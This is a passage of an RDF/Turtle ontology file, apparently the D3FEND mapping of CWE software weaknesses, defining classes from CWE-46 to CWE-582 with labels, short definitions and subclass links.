    d3f:definition "The code uses a variable that has not been initialized, leading to unpredictable or unintended results." ;
    rdfs:subClassOf d3f:CWE-908 .

d3f:CWE-46 a owl:Class ;
    rdfs:label "Path Equivalence: 'filename ' (Trailing Space)" ;
    d3f:cwe-id "CWE-46" ;
    d3f:definition "The product accepts path input in the form of trailing space ('filedir ') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files." ;
    rdfs:subClassOf d3f:CWE-162,
        d3f:CWE-41 .

d3f:CWE-460 a owl:Class ;
    rdfs:label "Improper Cleanup on Thrown Exception" ;
    d3f:cwe-id "CWE-460" ;
    d3f:definition "The product does not clean up its state or incorrectly cleans up its state when an exception is thrown, leading to unexpected state or control flow." ;
    rdfs:subClassOf d3f:CWE-459,
        d3f:CWE-755 .

d3f:CWE-462 a owl:Class ;
    rdfs:label "Duplicate Key in Associative List (Alist)" ;
    d3f:cwe-id "CWE-462" ;
    d3f:definition "Duplicate keys in associative lists can lead to non-unique keys being mistaken for an error." ;
    rdfs:subClassOf d3f:CWE-694 .

d3f:CWE-463 a owl:Class ;
    rdfs:label "Deletion of Data Structure Sentinel" ;
    d3f:cwe-id "CWE-463" ;
    d3f:definition "The accidental deletion of a data-structure sentinel can cause serious programming logic problems." ;
    rdfs:subClassOf d3f:CWE-707 .

d3f:CWE-464 a owl:Class ;
    rdfs:label "Addition of Data Structure Sentinel" ;
    d3f:cwe-id "CWE-464" ;
    d3f:definition "The accidental addition of a data-structure sentinel can cause serious programming logic problems." ;
    rdfs:subClassOf d3f:CWE-138 .

d3f:CWE-466 a owl:Class ;
    rdfs:label "Return of Pointer Value Outside of Expected Range" ;
    d3f:cwe-id "CWE-466" ;
    d3f:definition "A function can return a pointer to memory that is outside of the buffer that the pointer is expected to reference." ;
    rdfs:subClassOf d3f:CWE-119 .

d3f:CWE-467 a owl:Class ;
    rdfs:label "Use of sizeof() on a Pointer Type" ;
    d3f:cwe-id "CWE-467" ;
    d3f:definition "The code calls sizeof() on a pointer type, which can be an incorrect calculation if the programmer intended to determine the size of the data that is being pointed to." ;
    rdfs:subClassOf d3f:CWE-131 .

d3f:CWE-468 a owl:Class ;
    rdfs:label "Incorrect Pointer Scaling" ;
    d3f:cwe-id "CWE-468" ;
    d3f:definition "In C and C++, one may often accidentally refer to the wrong memory due to the semantics of when math operations are implicitly scaled." ;
    rdfs:subClassOf d3f:CWE-682 .

d3f:CWE-469 a owl:Class ;
    rdfs:label "Use of Pointer Subtraction to Determine Size" ;
    d3f:cwe-id "CWE-469" ;
    d3f:definition "The product subtracts one pointer from another in order to determine size, but this calculation can be incorrect if the pointers do not exist in the same memory chunk." ;
    rdfs:subClassOf d3f:CWE-682 .

d3f:CWE-47 a owl:Class ;
    rdfs:label "Path Equivalence: ' filename' (Leading Space)" ;
    d3f:cwe-id "CWE-47" ;
    d3f:definition "The product accepts path input in the form of leading space (' filedir') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files." ;
    rdfs:subClassOf d3f:CWE-41 .

d3f:CWE-470 a owl:Class ;
    rdfs:label "Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')" ;
    d3f:cwe-id "CWE-470" ;
    d3f:definition "The product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code." ;
    d3f:synonym "Reflection Injection" ;
    rdfs:subClassOf d3f:CWE-610,
        d3f:CWE-913 .

d3f:CWE-472 a owl:Class ;
    rdfs:label "External Control of Assumed-Immutable Web Parameter" ;
    d3f:cwe-id "CWE-472" ;
    d3f:definition "The web application does not sufficiently verify inputs that are assumed to be immutable but are actually externally controllable, such as hidden form fields." ;
    d3f:synonym "Assumed-Immutable Parameter Tampering" ;
    rdfs:subClassOf d3f:CWE-471,
        d3f:CWE-642 .

d3f:CWE-473 a owl:Class ;
    rdfs:label "PHP External Variable Modification" ;
    d3f:cwe-id "CWE-473" ;
    d3f:definition "A PHP application does not properly protect against the modification of variables from external sources, such as query parameters or cookies. This can expose the application to numerous weaknesses that would not exist otherwise." ;
    rdfs:subClassOf d3f:CWE-471 .

d3f:CWE-475 a owl:Class ;
    rdfs:label "Undefined Behavior for Input to API" ;
    d3f:cwe-id "CWE-475" ;
    d3f:definition "The behavior of this function is undefined unless its control parameter is set to a specific value." ;
    rdfs:subClassOf d3f:CWE-573 .

d3f:CWE-477 a owl:Class ;
    rdfs:label "Use of Obsolete Function" ;
    d3f:cwe-id "CWE-477" ;
    d3f:definition "The code uses deprecated or obsolete functions, which suggests that the code has not been actively reviewed or maintained." ;
    rdfs:subClassOf d3f:CWE-710 .

d3f:CWE-478 a owl:Class ;
    rdfs:label "Missing Default Case in Multiple Condition Expression" ;
    d3f:cwe-id "CWE-478" ;
    d3f:definition "The code does not have a default case in an expression with multiple conditions, such as a switch statement." ;
    rdfs:subClassOf d3f:CWE-1023 .

d3f:CWE-479 a owl:Class ;
    rdfs:label "Signal Handler Use of a Non-reentrant Function" ;
    d3f:cwe-id "CWE-479" ;
    d3f:definition "The product defines a signal handler that calls a non-reentrant function." ;
    rdfs:subClassOf d3f:CWE-663,
        d3f:CWE-828 .

d3f:CWE-48 a owl:Class ;
    rdfs:label "Path Equivalence: 'file name' (Internal Whitespace)" ;
    d3f:cwe-id "CWE-48" ;
    d3f:definition "The product accepts path input in the form of internal space ('file(SPACE)name') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files." ;
    rdfs:subClassOf d3f:CWE-41 .

d3f:CWE-481 a owl:Class ;
    rdfs:label "Assigning instead of Comparing" ;
    d3f:cwe-id "CWE-481" ;
    d3f:definition "The code uses an operator for assignment when the intention was to perform a comparison." ;
    rdfs:subClassOf d3f:CWE-480 .

d3f:CWE-482 a owl:Class ;
    rdfs:label "Comparing instead of Assigning" ;
    d3f:cwe-id "CWE-482" ;
    d3f:definition "The code uses an operator for comparison when the intention was to perform an assignment." ;
    rdfs:subClassOf d3f:CWE-480 .

d3f:CWE-483 a owl:Class ;
    rdfs:label "Incorrect Block Delimitation" ;
    d3f:cwe-id "CWE-483" ;
    d3f:definition "The code does not explicitly delimit a block that is intended to contain 2 or more statements, creating a logic error." ;
    rdfs:subClassOf d3f:CWE-670 .

d3f:CWE-484 a owl:Class ;
    rdfs:label "Omitted Break Statement in Switch" ;
    d3f:cwe-id "CWE-484" ;
    d3f:definition "The product omits a break statement within a switch or similar construct, causing code associated with multiple conditions to execute. This can cause problems when the programmer only intended to execute code associated with one condition." ;
    rdfs:subClassOf d3f:CWE-670,
        d3f:CWE-710 .

d3f:CWE-486 a owl:Class ;
    rdfs:label "Comparison of Classes by Name" ;
    d3f:cwe-id "CWE-486" ;
    d3f:definition "The product compares classes by name, which can cause it to use the wrong class when multiple classes can have the same name." ;
    rdfs:subClassOf d3f:CWE-1025 .

d3f:CWE-487 a owl:Class ;
    rdfs:label "Reliance on Package-level Scope" ;
    d3f:cwe-id "CWE-487" ;
    d3f:definition "Java packages are not inherently closed; therefore, relying on them for code security is not a good practice." ;
    rdfs:subClassOf d3f:CWE-664 .

d3f:CWE-488 a owl:Class ;
    rdfs:label "Exposure of Data Element to Wrong Session" ;
    d3f:cwe-id "CWE-488" ;
    d3f:definition "The product does not sufficiently enforce boundaries between the states of different sessions, causing data to be provided to, or used by, the wrong session." ;
    rdfs:subClassOf d3f:CWE-668 .

d3f:CWE-49 a owl:Class ;
    rdfs:label "Path Equivalence: 'filename/' (Trailing Slash)" ;
    d3f:cwe-id "CWE-49" ;
    d3f:definition "The product accepts path input in the form of trailing slash ('filedir/') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files." ;
    rdfs:subClassOf d3f:CWE-162,
        d3f:CWE-41 .

d3f:CWE-491 a owl:Class ;
    rdfs:label "Public cloneable() Method Without Final ('Object Hijack')" ;
    d3f:cwe-id "CWE-491" ;
    d3f:definition "A class has a cloneable() method that is not declared final, which allows an object to be created without calling the constructor. This can cause the object to be in an unexpected state." ;
    rdfs:subClassOf d3f:CWE-668 .

d3f:CWE-492 a owl:Class ;
    rdfs:label "Use of Inner Class Containing Sensitive Data" ;
    d3f:cwe-id "CWE-492" ;
    d3f:definition "Inner classes are translated into classes that are accessible at package scope and may expose code that the programmer intended to keep private to attackers." ;
    rdfs:subClassOf d3f:CWE-668 .

d3f:CWE-494 a owl:Class ;
    rdfs:label "Download of Code Without Integrity Check" ;
    d3f:cwe-id "CWE-494" ;
    d3f:definition "The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code." ;
    rdfs:subClassOf d3f:CWE-345,
        d3f:CWE-669 .

d3f:CWE-495 a owl:Class ;
    rdfs:label "Private Data Structure Returned From A Public Method" ;
    d3f:cwe-id "CWE-495" ;
    d3f:definition "The product has a method that is declared public, but returns a reference to a private data structure, which could then be modified in unexpected ways." ;
    rdfs:subClassOf d3f:CWE-664 .

d3f:CWE-496 a owl:Class ;
    rdfs:label "Public Data Assigned to Private Array-Typed Field" ;
    d3f:cwe-id "CWE-496" ;
    d3f:definition "Assigning public data to a private array is equivalent to giving public access to the array." ;
    rdfs:subClassOf d3f:CWE-664 .

d3f:CWE-498 a owl:Class ;
    rdfs:label "Cloneable Class Containing Sensitive Information" ;
    d3f:cwe-id "CWE-498" ;
    d3f:definition "The code contains a class with sensitive data, but the class is cloneable. The data can then be accessed by cloning the class." ;
    rdfs:subClassOf d3f:CWE-668 .

d3f:CWE-499 a owl:Class ;
    rdfs:label "Serializable Class Containing Sensitive Data" ;
    d3f:cwe-id "CWE-499" ;
    d3f:definition "The code contains a class with sensitive data, but the class does not explicitly deny serialization. The data can be accessed by serializing the class through another class." ;
    rdfs:subClassOf d3f:CWE-668 .

d3f:CWE-5 a owl:Class ;
    rdfs:label "J2EE Misconfiguration: Data Transmission Without Encryption" ;
    d3f:cwe-id "CWE-5" ;
    d3f:definition "Information sent over a network can be compromised while in transit. An attacker may be able to read or modify the contents if the data are sent in plaintext or are weakly encrypted." ;
    rdfs:subClassOf d3f:CWE-319 .

d3f:CWE-50 a owl:Class ;
    rdfs:label "Path Equivalence: '//multiple/leading/slash'" ;
    d3f:cwe-id "CWE-50" ;
    d3f:definition "The product accepts path input in the form of multiple leading slash ('//multiple/leading/slash') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files." ;
    rdfs:subClassOf d3f:CWE-161,
        d3f:CWE-41 .

d3f:CWE-500 a owl:Class ;
    rdfs:label "Public Static Field Not Marked Final" ;
    d3f:cwe-id "CWE-500" ;
    d3f:definition "An object contains a public static field that is not marked final, which might allow it to be modified in unexpected ways." ;
    rdfs:subClassOf d3f:CWE-493 .

d3f:CWE-501 a owl:Class ;
    rdfs:label "Trust Boundary Violation" ;
    d3f:cwe-id "CWE-501" ;
    d3f:definition "The product mixes trusted and untrusted data in the same data structure or structured message." ;
    rdfs:subClassOf d3f:CWE-664 .

d3f:CWE-502 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Deserialization of Untrusted Data" ;
    d3f:cwe-id "CWE-502" ;
    d3f:definition "The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid." ;
    d3f:may-be-weakness-of d3f:UserInputFunction ;
    d3f:synonym "Marshaling, Unmarshaling",
        "PHP Object Injection",
        "Pickling, Unpickling" ;
    d3f:weakness-of d3f:DeserializationFunction ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-be-weakness-of ;
            owl:someValuesFrom d3f:UserInputFunction ],
        [ a owl:Restriction ;
            owl:onProperty d3f:weakness-of ;
            owl:someValuesFrom d3f:DeserializationFunction ],
        d3f:CWE-913 .

d3f:CWE-508 a owl:Class ;
    rdfs:label "Non-Replicating Malicious Code" ;
    d3f:cwe-id "CWE-508" ;
    d3f:definition "Non-replicating malicious code only resides on the target system or product that is attacked; it does not attempt to spread to other systems." ;
    rdfs:subClassOf d3f:CWE-507 .

d3f:CWE-509 a owl:Class ;
    rdfs:label "Replicating Malicious Code (Virus or Worm)" ;
    d3f:cwe-id "CWE-509" ;
    d3f:definition "Replicating malicious code, including viruses and worms, will attempt to attack other systems once it has successfully compromised the target system or the product." ;
    rdfs:subClassOf d3f:CWE-507 .

d3f:CWE-51 a owl:Class ;
    rdfs:label "Path Equivalence: '/multiple//internal/slash'" ;
    d3f:cwe-id "CWE-51" ;
    d3f:definition "The product accepts path input in the form of multiple internal slash ('/multiple//internal/slash/') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files." ;
    rdfs:subClassOf d3f:CWE-41 .

d3f:CWE-510 a owl:Class ;
    rdfs:label "Trapdoor" ;
    d3f:cwe-id "CWE-510" ;
    d3f:definition "A trapdoor is a hidden piece of code that responds to a special input, allowing its user access to resources without passing through the normal security enforcement mechanism." ;
    rdfs:subClassOf d3f:CWE-506 .

d3f:CWE-511 a owl:Class ;
    rdfs:label "Logic/Time Bomb" ;
    d3f:cwe-id "CWE-511" ;
    d3f:definition "The product contains code that is designed to disrupt the legitimate operation of the product (or its environment) when a certain time passes, or when a certain logical condition is met." ;
    rdfs:subClassOf d3f:CWE-506 .

d3f:CWE-512 a owl:Class ;
    rdfs:label "Spyware" ;
    d3f:cwe-id "CWE-512" ;
    d3f:definition "The product collects personally identifiable information about a human user or the user's activities, but the product accesses this information using other resources besides itself, and it does not require that user's explicit approval or direct input into the product." ;
    rdfs:subClassOf d3f:CWE-506 .

d3f:CWE-515 a owl:Class ;
    rdfs:label "Covert Storage Channel" ;
    d3f:cwe-id "CWE-515" ;
    d3f:definition "A covert storage channel transfers information through the setting of bits by one program and the reading of those bits by another. What distinguishes this case from that of ordinary operation is that the bits are used to convey encoded information." ;
    rdfs:subClassOf d3f:CWE-514 .

d3f:CWE-52 a owl:Class ;
    rdfs:label "Path Equivalence: '/multiple/trailing/slash//'" ;
    d3f:cwe-id "CWE-52" ;
    d3f:definition "The product accepts path input in the form of multiple trailing slash ('/multiple/trailing/slash//') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files." ;
    rdfs:subClassOf d3f:CWE-163,
        d3f:CWE-41 .

d3f:CWE-520 a owl:Class ;
    rdfs:label ".NET Misconfiguration: Use of Impersonation" ;
    d3f:cwe-id "CWE-520" ;
    d3f:definition "Allowing a .NET application to run at potentially escalated levels of access to the underlying operating and file systems can be dangerous and result in various forms of attacks." ;
    rdfs:subClassOf d3f:CWE-266 .

d3f:CWE-523 a owl:Class ;
    rdfs:label "Unprotected Transport of Credentials" ;
    d3f:cwe-id "CWE-523" ;
    d3f:definition "Login pages do not use adequate measures to protect the user name and password while they are in transit from the client to the server." ;
    rdfs:subClassOf d3f:CWE-522 .

d3f:CWE-525 a owl:Class ;
    rdfs:label "Use of Web Browser Cache Containing Sensitive Information" ;
    d3f:cwe-id "CWE-525" ;
    d3f:definition "The web application does not use an appropriate caching policy that specifies the extent to which each web page and associated form fields should be cached." ;
    rdfs:subClassOf d3f:CWE-524 .

d3f:CWE-526 a owl:Class ;
    rdfs:label "Cleartext Storage of Sensitive Information in an Environment Variable" ;
    d3f:cwe-id "CWE-526" ;
    d3f:definition "The product uses an environment variable to store unencrypted sensitive information." ;
    rdfs:subClassOf d3f:CWE-312 .

d3f:CWE-527 a owl:Class ;
    rdfs:label "Exposure of Version-Control Repository to an Unauthorized Control Sphere" ;
    d3f:cwe-id "CWE-527" ;
    d3f:definition "The product stores a CVS, git, or other repository in a directory, archive, or other resource that is stored, transferred, or otherwise made accessible to unauthorized actors." ;
    rdfs:subClassOf d3f:CWE-552 .

d3f:CWE-528 a owl:Class ;
    rdfs:label "Exposure of Core Dump File to an Unauthorized Control Sphere" ;
    d3f:cwe-id "CWE-528" ;
    d3f:definition "The product generates a core dump file in a directory, archive, or other resource that is stored, transferred, or otherwise made accessible to unauthorized actors." ;
    rdfs:subClassOf d3f:CWE-552 .

d3f:CWE-529 a owl:Class ;
    rdfs:label "Exposure of Access Control List Files to an Unauthorized Control Sphere" ;
    d3f:cwe-id "CWE-529" ;
    d3f:definition "The product stores access control list files in a directory or other container that is accessible to actors outside of the intended control sphere." ;
    rdfs:subClassOf d3f:CWE-552 .

d3f:CWE-53 a owl:Class ;
    rdfs:label "Path Equivalence: '\\multiple\\\\internal\\backslash'" ;
    d3f:cwe-id "CWE-53" ;
    d3f:definition "The product accepts path input in the form of multiple internal backslash ('\\multiple\\trailing\\\\slash') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files." ;
    rdfs:subClassOf d3f:CWE-165,
        d3f:CWE-41 .

d3f:CWE-530 a owl:Class ;
    rdfs:label "Exposure of Backup File to an Unauthorized Control Sphere" ;
    d3f:cwe-id "CWE-530" ;
    d3f:definition "A backup file is stored in a directory or archive that is made accessible to unauthorized actors." ;
    rdfs:subClassOf d3f:CWE-552 .

d3f:CWE-531 a owl:Class ;
    rdfs:label "Inclusion of Sensitive Information in Test Code" ;
    d3f:cwe-id "CWE-531" ;
    d3f:definition "Accessible test applications can pose a variety of security risks. Since developers or administrators rarely consider that someone besides themselves would even know about the existence of these applications, it is common for them to contain sensitive information or functions." ;
    rdfs:subClassOf d3f:CWE-540 .

d3f:CWE-532 a owl:Class ;
    rdfs:label "Insertion of Sensitive Information into Log File" ;
    d3f:cwe-id "CWE-532" ;
    d3f:definition "The product writes sensitive information to a log file." ;
    rdfs:subClassOf d3f:CWE-538 .

d3f:CWE-535 a owl:Class ;
    rdfs:label "Exposure of Information Through Shell Error Message" ;
    d3f:cwe-id "CWE-535" ;
    d3f:definition "A command shell error message indicates that there exists an unhandled exception in the web application code. In many cases, an attacker can leverage the conditions that cause these errors in order to gain unauthorized access to the system." ;
    rdfs:subClassOf d3f:CWE-211 .

d3f:CWE-536 a owl:Class ;
    rdfs:label "Servlet Runtime Error Message Containing Sensitive Information" ;
    d3f:cwe-id "CWE-536" ;
    d3f:definition "A servlet error message indicates that there exists an unhandled exception in your web application code and may provide useful information to an attacker." ;
    rdfs:subClassOf d3f:CWE-211 .

d3f:CWE-537 a owl:Class ;
    rdfs:label "Java Runtime Error Message Containing Sensitive Information" ;
    d3f:cwe-id "CWE-537" ;
    d3f:definition "In many cases, an attacker can leverage the conditions that cause unhandled exception errors in order to gain unauthorized access to the system." ;
    rdfs:subClassOf d3f:CWE-211 .

d3f:CWE-539 a owl:Class ;
    rdfs:label "Use of Persistent Cookies Containing Sensitive Information" ;
    d3f:cwe-id "CWE-539" ;
    d3f:definition "The web application uses persistent cookies, but the cookies contain sensitive information." ;
    rdfs:subClassOf d3f:CWE-552 .

d3f:CWE-54 a owl:Class ;
    rdfs:label "Path Equivalence: 'filedir\\' (Trailing Backslash)" ;
    d3f:cwe-id "CWE-54" ;
    d3f:definition "The product accepts path input in the form of trailing backslash ('filedir\\') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files." ;
    rdfs:subClassOf d3f:CWE-162,
        d3f:CWE-41 .

d3f:CWE-541 a owl:Class ;
    rdfs:label "Inclusion of Sensitive Information in an Include File" ;
    d3f:cwe-id "CWE-541" ;
    d3f:definition "If an include file source is accessible, the file can contain usernames and passwords, as well as sensitive information pertaining to the application and system." ;
    rdfs:subClassOf d3f:CWE-540 .

d3f:CWE-543 a owl:Class ;
    rdfs:label "Use of Singleton Pattern Without Synchronization in a Multithreaded Context" ;
    d3f:cwe-id "CWE-543" ;
    d3f:definition "The product uses the singleton pattern when creating a resource within a multithreaded environment." ;
    rdfs:subClassOf d3f:CWE-820 .

d3f:CWE-544 a owl:Class ;
    rdfs:label "Missing Standardized Error Handling Mechanism" ;
    d3f:cwe-id "CWE-544" ;
    d3f:definition "The product does not use a standardized method for handling errors throughout the code, which might introduce inconsistent error handling and resultant weaknesses." ;
    rdfs:subClassOf d3f:CWE-755 .

d3f:CWE-546 a owl:Class ;
    rdfs:label "Suspicious Comment" ;
    d3f:cwe-id "CWE-546" ;
    d3f:definition "The code contains comments that suggest the presence of bugs, incomplete functionality, or weaknesses." ;
    rdfs:subClassOf d3f:CWE-1078 .

d3f:CWE-547 a owl:Class ;
    rdfs:label "Use of Hard-coded, Security-relevant Constants" ;
    d3f:cwe-id "CWE-547" ;
    d3f:definition "The product uses hard-coded constants instead of symbolic names for security-critical values, which increases the likelihood of mistakes during code maintenance or security policy change." ;
    rdfs:subClassOf d3f:CWE-1078 .

d3f:CWE-548 a owl:Class ;
    rdfs:label "Exposure of Information Through Directory Listing" ;
    d3f:cwe-id "CWE-548" ;
    d3f:definition "The product inappropriately exposes a directory listing with an index of all the resources located inside of the directory." ;
    rdfs:subClassOf d3f:CWE-497 .

d3f:CWE-549 a owl:Class ;
    rdfs:label "Missing Password Field Masking" ;
    d3f:cwe-id "CWE-549" ;
    d3f:definition "The product does not mask passwords during entry, increasing the potential for attackers to observe and capture passwords." ;
    rdfs:subClassOf d3f:CWE-522 .

d3f:CWE-55 a owl:Class ;
    rdfs:label "Path Equivalence: '/./' (Single Dot Directory)" ;
    d3f:cwe-id "CWE-55" ;
    d3f:definition "The product accepts path input in the form of single dot directory exploit ('/./') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files." ;
    rdfs:subClassOf d3f:CWE-41 .

d3f:CWE-550 a owl:Class ;
    rdfs:label "Server-generated Error Message Containing Sensitive Information" ;
    d3f:cwe-id "CWE-550" ;
    d3f:definition "Certain conditions, such as network failure, will cause a server error message to be displayed." ;
    rdfs:subClassOf d3f:CWE-209 .

d3f:CWE-551 a owl:Class ;
    rdfs:label "Incorrect Behavior Order: Authorization Before Parsing and Canonicalization" ;
    d3f:cwe-id "CWE-551" ;
    d3f:definition "If a web server does not fully parse requested URLs before it examines them for authorization, it may be possible for an attacker to bypass authorization protection." ;
    rdfs:subClassOf d3f:CWE-696,
        d3f:CWE-863 .

d3f:CWE-553 a owl:Class ;
    rdfs:label "Command Shell in Externally Accessible Directory" ;
    d3f:cwe-id "CWE-553" ;
    d3f:definition "A possible shell file exists in /cgi-bin/ or other accessible directories. This is extremely dangerous and can be used by an attacker to execute commands on the web server." ;
    rdfs:subClassOf d3f:CWE-552 .

d3f:CWE-554 a owl:Class ;
    rdfs:label "ASP.NET Misconfiguration: Not Using Input Validation Framework" ;
    d3f:cwe-id "CWE-554" ;
    d3f:definition "The ASP.NET application does not use an input validation framework." ;
    rdfs:subClassOf d3f:CWE-1173 .

d3f:CWE-555 a owl:Class ;
    rdfs:label "J2EE Misconfiguration: Plaintext Password in Configuration File" ;
    d3f:cwe-id "CWE-555" ;
    d3f:definition "The J2EE application stores a plaintext password in a configuration file." ;
    rdfs:subClassOf d3f:CWE-260 .

d3f:CWE-556 a owl:Class ;
    rdfs:label "ASP.NET Misconfiguration: Use of Identity Impersonation" ;
    d3f:cwe-id "CWE-556" ;
    d3f:definition "Configuring an ASP.NET application to run with impersonated credentials may give the application unnecessary privileges." ;
    rdfs:subClassOf d3f:CWE-266 .

d3f:CWE-558 a owl:Class ;
    rdfs:label "Use of getlogin() in Multithreaded Application" ;
    d3f:cwe-id "CWE-558" ;
    d3f:definition "The product uses the getlogin() function in a multithreaded context, potentially causing it to return incorrect values." ;
    rdfs:subClassOf d3f:CWE-663 .

d3f:CWE-56 a owl:Class ;
    rdfs:label "Path Equivalence: 'filedir*' (Wildcard)" ;
    d3f:cwe-id "CWE-56" ;
    d3f:definition "The product accepts path input in the form of asterisk wildcard ('filedir*') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files." ;
    rdfs:subClassOf d3f:CWE-155,
        d3f:CWE-41 .

d3f:CWE-560 a owl:Class ;
    rdfs:label "Use of umask() with chmod-style Argument" ;
    d3f:cwe-id "CWE-560" ;
    d3f:definition "The product calls umask() with an incorrect argument that is specified as if it is an argument to chmod()." ;
    rdfs:subClassOf d3f:CWE-687 .

d3f:CWE-561 a owl:Class ;
    rdfs:label "Dead Code" ;
    d3f:cwe-id "CWE-561" ;
    d3f:definition "The product contains dead code, which can never be executed." ;
    rdfs:subClassOf d3f:CWE-1164 .

d3f:CWE-562 a owl:Class ;
    rdfs:label "Return of Stack Variable Address" ;
    d3f:cwe-id "CWE-562" ;
    d3f:definition "A function returns the address of a stack variable, which will cause unintended program behavior, typically in the form of a crash." ;
    rdfs:subClassOf d3f:CWE-758 .

d3f:CWE-563 a owl:Class ;
    rdfs:label "Assignment to Variable without Use" ;
    d3f:cwe-id "CWE-563" ;
    d3f:definition "The variable's value is assigned but never used, making it a dead store." ;
    d3f:synonym "Unused Variable" ;
    rdfs:subClassOf d3f:CWE-1164 .

d3f:CWE-564 a owl:Class ;
    rdfs:label "SQL Injection: Hibernate" ;
    d3f:cwe-id "CWE-564" ;
    d3f:definition "Using Hibernate to execute a dynamic SQL statement built with user-controlled input can allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands." ;
    rdfs:subClassOf d3f:CWE-89 .

d3f:CWE-566 a owl:Class ;
    rdfs:label "Authorization Bypass Through User-Controlled SQL Primary Key" ;
    d3f:cwe-id "CWE-566" ;
    d3f:definition "The product uses a database table that includes records that should not be accessible to an actor, but it executes a SQL statement with a primary key that can be controlled by that actor." ;
    rdfs:subClassOf d3f:CWE-639 .

d3f:CWE-567 a owl:Class ;
    rdfs:label "Unsynchronized Access to Shared Data in a Multithreaded Context" ;
    d3f:cwe-id "CWE-567" ;
    d3f:definition "The product does not properly synchronize shared data, such as static variables across threads, which can lead to undefined behavior and unpredictable data changes." ;
    rdfs:subClassOf d3f:CWE-820 .

d3f:CWE-568 a owl:Class ;
    rdfs:label "finalize() Method Without super.finalize()" ;
    d3f:cwe-id "CWE-568" ;
    d3f:definition "The product contains a finalize() method that does not call super.finalize()." ;
    rdfs:subClassOf d3f:CWE-459,
        d3f:CWE-573 .

d3f:CWE-57 a owl:Class ;
    rdfs:label "Path Equivalence: 'fakedir/../realdir/filename'" ;
    d3f:cwe-id "CWE-57" ;
    d3f:definition "The product contains protection mechanisms to restrict access to 'realdir/filename', but it constructs pathnames using external input in the form of 'fakedir/../realdir/filename' that are not handled by those mechanisms. This allows attackers to perform unauthorized actions against the targeted file." ;
    rdfs:subClassOf d3f:CWE-41 .

d3f:CWE-570 a owl:Class ;
    rdfs:label "Expression is Always False" ;
    d3f:cwe-id "CWE-570" ;
    d3f:definition "The product contains an expression that will always evaluate to false." ;
    rdfs:subClassOf d3f:CWE-710 .

d3f:CWE-571 a owl:Class ;
    rdfs:label "Expression is Always True" ;
    d3f:cwe-id "CWE-571" ;
    d3f:definition "The product contains an expression that will always evaluate to true." ;
    rdfs:subClassOf d3f:CWE-710 .

d3f:CWE-572 a owl:Class ;
    rdfs:label "Call to Thread run() instead of start()" ;
    d3f:cwe-id "CWE-572" ;
    d3f:definition "The product calls a thread's run() method instead of calling start(), which causes the code to run in the thread of the caller instead of the callee." ;
    rdfs:subClassOf d3f:CWE-821 .

d3f:CWE-574 a owl:Class ;
    rdfs:label "EJB Bad Practices: Use of Synchronization Primitives" ;
    d3f:cwe-id "CWE-574" ;
    d3f:definition "The product violates the Enterprise JavaBeans (EJB) specification by using thread synchronization primitives." ;
    rdfs:subClassOf d3f:CWE-695,
        d3f:CWE-821 .

d3f:CWE-575 a owl:Class ;
    rdfs:label "EJB Bad Practices: Use of AWT Swing" ;
    d3f:cwe-id "CWE-575" ;
    d3f:definition "The product violates the Enterprise JavaBeans (EJB) specification by using AWT/Swing." ;
    rdfs:subClassOf d3f:CWE-695 .

d3f:CWE-576 a owl:Class ;
    rdfs:label "EJB Bad Practices: Use of Java I/O" ;
    d3f:cwe-id "CWE-576" ;
    d3f:definition "The product violates the Enterprise JavaBeans (EJB) specification by using the java.io package." ;
    rdfs:subClassOf d3f:CWE-695 .

d3f:CWE-577 a owl:Class ;
    rdfs:label "EJB Bad Practices: Use of Sockets" ;
    d3f:cwe-id "CWE-577" ;
    d3f:definition "The product violates the Enterprise JavaBeans (EJB) specification by using sockets." ;
    rdfs:subClassOf d3f:CWE-573 .

d3f:CWE-578 a owl:Class ;
    rdfs:label "EJB Bad Practices: Use of Class Loader" ;
    d3f:cwe-id "CWE-578" ;
    d3f:definition "The product violates the Enterprise JavaBeans (EJB) specification by using the class loader." ;
    rdfs:subClassOf d3f:CWE-573 .

d3f:CWE-579 a owl:Class ;
    rdfs:label "J2EE Bad Practices: Non-serializable Object Stored in Session" ;
    d3f:cwe-id "CWE-579" ;
    d3f:definition "The product stores a non-serializable object as an HttpSession attribute, which can hurt reliability." ;
    rdfs:subClassOf d3f:CWE-573 .

d3f:CWE-58 a owl:Class ;
    rdfs:label "Path Equivalence: Windows 8.3 Filename" ;
    d3f:cwe-id "CWE-58" ;
    d3f:definition "The product contains a protection mechanism that restricts access to a long filename on a Windows operating system, but it does not properly restrict access to the equivalent short \"8.3\" filename." ;
    rdfs:subClassOf d3f:CWE-41 .

d3f:CWE-580 a owl:Class ;
    rdfs:label "clone() Method Without super.clone()" ;
    d3f:cwe-id "CWE-580" ;
    d3f:definition "The product contains a clone() method that does not call super.clone() to obtain the new object." ;
    rdfs:subClassOf d3f:CWE-573,
        d3f:CWE-664 .

d3f:CWE-581 a owl:Class ;
    rdfs:label "Object Model Violation: Just One of Equals and Hashcode Defined" ;
    d3f:cwe-id "CWE-581" ;
    d3f:definition "The product does not maintain equal hashcodes for equal objects." ;
    rdfs:subClassOf d3f:CWE-573,
        d3f:CWE-697 .

d3f:CWE-582 a owl:Class ;
    rdfs:label "Array Declared Public, Final, and Static" ;
    d3f:cwe-id "CWE-582" ;
